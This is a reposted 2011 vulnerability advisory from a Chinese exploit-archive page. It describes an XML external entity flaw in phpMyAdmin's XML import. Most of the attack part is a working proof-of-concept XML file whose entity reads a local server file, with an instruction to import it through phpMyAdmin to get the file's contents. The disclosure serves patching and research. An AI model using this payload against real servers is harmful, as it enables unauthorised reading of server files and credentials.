首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
phpMyAdmin Arbitrary File Read
来源:www.wooyun.org 作者:80sec 发布时间:2011-11-03  
Hi

80sec report this bug on wooyun,PhpMyadmin use a simplexml_load_string
function to read xml from user input,this may be exploied to read files
from the server or network

in libraries/import/xml.php,some code like this


/**

 * Load the XML string

 *

 * The option LIBXML_COMPACT is specified because it can

 * result in increased performance without the need to

 * alter the code in any way. It's basically a freebee.

 */

$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);

unset($buffer);



/**

 * The XML was malformed

 */

if ($xml === FALSE) {

so you just need to make a xml like this

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE wooyun [

  <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">

]>



<pma_xml_export version="1.0" xmlns:pma="
http://www.phpmyadmin.net/some_doc_url/">

    <!--

    - Structure schemas

    -->

    <pma:structure_schemas>

        <pma:database name="test" collation="utf8_general_ci"
charset="utf8">

            <pma:table name="ts_ad">

                &hi80sec;

            </pma:table>

        </pma:database>

    </pma:structure_schemas>



    <!--

    - Êý¾Ý¿â: 'thinksns'

    -->

    <database name="thinksns">

        <!-- ±í ts_ad -->

    </database>

</pma_xml_export>

then import this xml in PhpMyAdmin,you will get the content you want.

From:http://www.wooyun.org/bugs/wooyun-2010-03185

:)

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·LifeSize Room Command Injectio
·Calibre E-Book Reader Local Ro
·Calibre E-Book Reader Local Ro
·Oracle Hyperion Financial Mana
·Calibre E-Book Reader Local Ro
·Linux kernel version 2.6.37-rc
·DreamBox DM800 <= 1.5rc1 Remot
·Mini-Stream 3.0.1.1 Buffer Ove
·Mozilla Firefox 7.0.1 Nightly
·Linux 2.6.18 - 2011 vmsplice L
·Zenphoto <= 1.4.1.4 (ajax_crea
·phpMyFAQ <= 2.7.0 (ajax_create
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved